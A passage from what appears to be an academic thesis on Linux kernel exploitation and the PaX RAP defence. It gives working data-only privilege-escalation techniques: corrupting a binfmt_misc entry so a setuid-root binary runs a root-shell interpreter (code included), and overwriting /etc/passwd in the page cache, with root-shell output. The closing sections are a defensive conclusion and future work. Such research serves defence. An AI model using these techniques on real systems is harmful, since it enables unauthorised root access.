const char *interpreter; /* filename of interpreter */
char *name;
struct dentry *dentry;
struct file *interp_file;
} Node;
Listing 67: Node data type
A binfmt_misc entry is represented by the Node data type (listing 67), containing
various already mentioned members. By corrupting the offset member, an attacker can
modify at which particular offset the magic bytes are present for an existing setuid-root
ELF binary. By corrupting the interpreter pointer (or string), an attacker is able to
specify his own malicious interpreter to be executed with the privileges of the executing
binary. By corrupting the magic pointer (or the actual string), an attacker also dictates
which files will be executed by the attacker-controlled interpreter, where one must
specify a sequence of bytes present in the target setuid-root binary. The mask pointer
should also be set to NULL via an overwrite (if it isn’t already) and the flags member
should be set to OC (0x6000000300000000), if it isn’t.
$ pwd
/proc/sys/fs/binfmt_misc
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$ cat python3.4
enabled
interpreter /usr/bin/python3.4
flags:
offset 0
magic ee0c0d0a
$ ls -l /bin/ntfs-3g
-rwsr-xr-x 1 root root xxxxxx xxx xx xxxx /bin/ntfs-3g
Listing 68: python3.4 ’s binfmt_misc entry before memory corruption
Targeting the python3.4 entry and the ntfs-3g setuid-root ELF binary (listing 68)
with the above mentioned attack, the offset member could be set to 40 (0x28) and the
magic bytes overwritten in order to contain the 4 bytes after the 40th byte of ntfs-3g.
It is important that the magic bytes are unique, that is, no other binary should have
the same sequence of magic bytes at the same particular offset as ntfs-3g. The flags
member is overwritten to have the 0x6000000300000000 value, while the interpreter
could be any attacker-controlled program, such as /home/ghetto/interpreter. The mask
member is already set to NULL.
$ cat python3.4
enabled
interpreter /home/ghetto/interpreter
flags: OC
offset 40
magic f0330200
$ /bin/ntfs-3g
# id
uid=0(root) gid=1000(ghetto)
Listing 69: python3.4 ’s binfmt_misc entry after memory corruption
After corruption, we can observe that when executing the targeted ntfs-3g SUID-root
binary, root privileges are obtained (listing 69). The interpreter is executed with the
privileges of the invoked binary, where it simply launches a new shell after setuid(0).
/* interpreter.c */
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#include <unistd.h>
int main(int argc, char * argv[], char * envp[])
{
setuid(0);
execlp("/bin/sh", "sh", NULL);
}
Listing 70: interpreter.c
4.3 Page Cache
The page cache, also known as disk cache, is used by the Linux kernel (and all
modern systems, such as Windows, OS X, etc.) when reading from or writing to
disk, in order to effectively reduce disk I/O by storing data in physical memory that
would otherwise require access to disk. Since disk accesses are slower than memory
accesses, adding new pages to the page cache to satisfy user’s read requests will improve
performance given that there’s a high likelihood that such pages will be accessed again
in the near future. In other words, if a page (corresponding to physical blocks on a disk)
is already present in the page cache, any subsequent read access will therefore access
the page in the page cache instead of requiring disk access. For writes, the Linux kernel
employs a strategy called write-back. This means that a task performs write operations
directly into the page cache, not disk, and the backing store isn’t immediately updated,
giving a chance to processes to further modify the data to be written to. The written-to
pages are marked as dirty and are added into a dirty list. Pages in the dirty list are
periodically written back to disk, in a process named writeback. Another important
strategy is cache eviction, the strategy that decides what cache entries to remove, either
to make room for more relevant cache entries or to simply make more RAM available
for other use. The Linux kernel implements a modified version of the LRU (Least
Recently Used) algorithm, called the two-list strategy, where two lists are maintained
instead of one (the LRU’s), the active and inactive lists, where items are added to the
tail and removed from the head. Pages in the active list are not available for eviction,
while the pages present in the inactive list are available for eviction. Pages can only be
added to the active list only when they are accessed while in the inactive list. If the
active list becomes much larger than the inactive list, items from the active list’s head
are placed into the inactive list.
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All of this means that an attacker coupled with an arbitrary kernel read/write
memory access primitive can alter the data present in the kernel’s page cache, which
in turn influences how read() operations see the read data from the page in the page
cache. This leads into privilege escalation by e.g., altering the data in the page backed
by /etc/passwd. Because the arbitrary write primitive will (most probably) not go
through the usual paths that specify that a certain page in the page cache has been
written to, e.g., set_page_dirty(page), the writes to the pages in the page cache will
not update the underlying file on disk.
An attacker should be able to somehow map the target file to be overwritten into
memory and perform a read() operation on it, in order to load the page into the page
cache. For this purpose, either the attacker has, at least, read-only access to the file
or he may force a more privileged program to access it for him by e.g., making use of
SUID-root binaries (su(1) can access /etc/shadow). The page should also be present
in the page cache for the duration of the exploit task, which can be accomplished by
repeatedly accessing the target page, ensuring that it does not get evicted from the
page cache. In order to determine whether the target page is present in the page cache
or not, the Linux kernel provides the mincore() system call, which can be used exactly
for this task [66].
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdlib.h>
void do_mincore(void *addr, unsigned char *vec)
{
mincore(addr, 1, vec);
printf("/home/ghetto/file is %s\n", (*vec & 1) ?
"present" : "not present");
}
int main()
{
int i, fd;
void *addr;
unsigned char *vec;
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if((fd = open("/home/ghetto/file", O_RDONLY)) < 0) {
fprintf(stderr, "open() failed\n");
exit(1);
}
if((addr = mmap(0, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0)) < 0) {
fprintf(stderr, "mmap() failed\n");
exit(1);
}
vec = (unsigned char *)malloc(2);
do_mincore(addr, vec);
read(fd, vec + 1, 1);
do_mincore(addr, vec);
/* Never free(), never me... */
}
Listing 71: mincore.c
$ ./mincore
/home/ghetto/file is not present
/home/ghetto/file is present
Listing 72: Determining whether the page is in the page cache
The above code (listing 71) demonstrates that by accessing a file via read() on a
file mapping, the appropriate page(s) will be added into the page cache, which we can
verify via mincore() (listing 72). By altering the page in the page cache backed by
/etc/passwd’s mapping, an attacker can therefore manipulate how tasks see the file’s
contents for every subsequent read() access.
Before corruption of the page’s data in the page cache:
$ head -10 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
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sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
Listing 73: /etc/passwd before corruption
After corruption of the page’s data in the page cache;
$ head -10 /etc/passwd
root:aajfMKNH1hTm2:0:0:root:/root:/bin/sh
daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
$ su
Password: password
# id
uid=0(root) gid=0(root) groups=0(root)
Listing 74: /etc/passwd after corruption
After system reboot or simply page cache eviction (without being legitimately
written to):
$ head -10 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
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sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
Listing 75: /etc/passwd after system reboot
Chapter 5
Conclusion
The PaX Team’s Reuse Attack Protector proved to be an efficient yet restrictive
form of Control-Flow Integrity, implementing a fine-grained CFI strategy with strong
security guarantees without sacrificing performance.
For operating system kernels, however, RAP (and somewhat similar CFI implemen-
tations in general) has to face several challenges: the handling (protection) of interrupt
and system call returns via the iret instruction (eret on ARM), which can be (ab)used
in order to perform an unintended intra-privilege-level return into arbitrary kernel
space, allowing code-reuse attacks to take place; the number of possible call targets
for function pointers with a common type, i.e., type-hash-based CFI does not entirely
eliminate the execution of out-of-intended-order code (it limits the allowed targets for
control-flow transfers); and last but not least, the ability to inject executable code into
the kernel’s address space, meaning that fake kernel functions can be constructed with
valid magic numbers immediately before, therefore creating valid call targets.
On the other hand, the wide array of possible data-only attacks against the Linux
kernel that lead into privilege escalation is still far too big of a threat, allowing attackers
to shift their exploit technique into in-intended-order execution with arbitrary data.
This in turn means that CFI defenses do not prevent arbitrary code execution in
the kernel when assuming an arbitrary read/write primitive (data-only attacks do
not fit into the defense’s defined attacker model). Therefore, data-only attacks must
be properly mitigated for this matter. Nonetheless, RAP’s security benefits greatly
outweighs the added cost (complexity, performance, etc.), actually raising the bar
and complicating the life of an attacker whose goal is arbitrary code execution, by
increasing the order of difficulty and decreasing the amount of control.
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5.1 Future Work
The next big challenge for defenders in general will certainly be coming up with
(practical) solutions for the last standing exploit technique available in an attacker’s
arsenal, data-only attacks. While eliminating/blocking certain bug classes is a start,
e.g., integer overflows, at some point in time powerful exploit primitives should be
properly mitigated in order to prevent arbitrary code execution and privilege escalation.
The PaX Team and grsecurity claim to be working on next-generation defenses against
data-only attacks, e.g., KERNSEAL, STRUCTGUARD, etc., although the ideas and
implementation details of such defenses are not yet public information.
Solutions for the described problem are still an open question, though one way to
tackle it could be closing all privilege escalation vectors while assuming an arbitrary
kernel read/write attack model. The Linux kernel could be reorganized in such a way
that each path limits the amount of data it can access, switching off and on portions of
the address space each time. For example, the waitid() system call should not be able
to modify the cred struct of any task given the existence of an arbitrary write primitive
(CVE-2017-5123 ). Hardware features such as Intel’s MPK (Memory Protection Keys)
may help in this regard.
.
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